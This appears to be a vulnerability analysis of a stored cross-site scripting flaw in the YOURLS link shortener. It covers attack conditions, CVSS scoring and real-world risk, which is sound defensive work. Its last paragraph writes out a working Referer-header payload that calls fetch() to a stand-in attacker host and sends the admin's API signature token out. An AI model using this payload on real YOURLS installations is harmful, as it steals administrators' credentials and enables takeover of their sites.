YOURLS CVE-2026-63135

The attack has two phases with distinct conditions. Poisoning phase: the attacker requires only network reachability to the YOURLS instance and knowledge of any valid short URL - no authentication, no session, no special configuration. Detonation phase: a user with access to the statistics page (yourls-infos.php) must visit it for the specific poisoned short URL after poisoning. In a default private (YOURLS_PRIVATE_INFOS=true) installation, detonation requires an authenticated administrator to view statistics; in documented public configurations (YOURLS_PRIVATE_INFOS=false), any unauthenticated visitor to the stats page can trigger detonation. Limiting factors: the attacker must identify at least one valid short URL slug on the instance; the specific poisoned short URL's statistics page must be viewed (not just any page); detonation does not occur on the redirect itself, only on the statistics page load. There is no dependency on server-side configuration beyond a default YOURLS installation with statistics enabled.

The provided CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N scoring 8.2 is accurate and well-calibrated. The PR:N metric reflects that the poisoning step requires no authentication whatsoever; UI:R correctly captures that payload detonation requires a victim to open the statistics page; S:C reflects the privilege escalation from unauthenticated external attacker to YOURLS-origin JavaScript execution; and the high integrity / low confidentiality split accurately reflects the attacker gaining control over privileged same-origin actions (I:H) while gaining only API token and session data exposure (C:L) rather than full system access. No EPSS score was provided in the input data, so exploitation probability cannot be quantified. No CISA KEV listing is present, confirming no confirmed active exploitation at time of analysis. However, the GHSA advisory provides an explicit functional payload and a complete source-to-sink trace, making independent weaponization straightforward - the gap between this vulnerability and an exploitable public tool is minimal. Real-world risk is elevated for any YOURLS instance where administrators regularly review per-link statistics (a normal workflow), particularly instances with YOURLS_PRIVATE_INFOS=false where the detonation step requires no attacker-side coordination with an authenticated victim.

An unauthenticated attacker identifies any valid short URL on a target YOURLS instance (e.g., via a public shortlink shared on social media) and sends a single HTTP GET request to it with a Referer header value of http://x',1],['marker',fetch('https://attacker.tld/?t='+btoa(document.querySelector('[name=signature_token]').value))],['z.tld/path. YOURLS stores the crafted referrer host in its log table. When the site administrator next opens the statistics page for that short URL, the chart builder renders the attacker's string directly into inline Google Charts JavaScript, executing the fetch in the YOURLS origin and silently exfiltrating the API signature token to the attacker's server. No public exploit tool has been identified beyond the alert(1) proof-of-concept in the GHSA advisory, but the attack is straightforward to implement from the advisory's technical detail alone.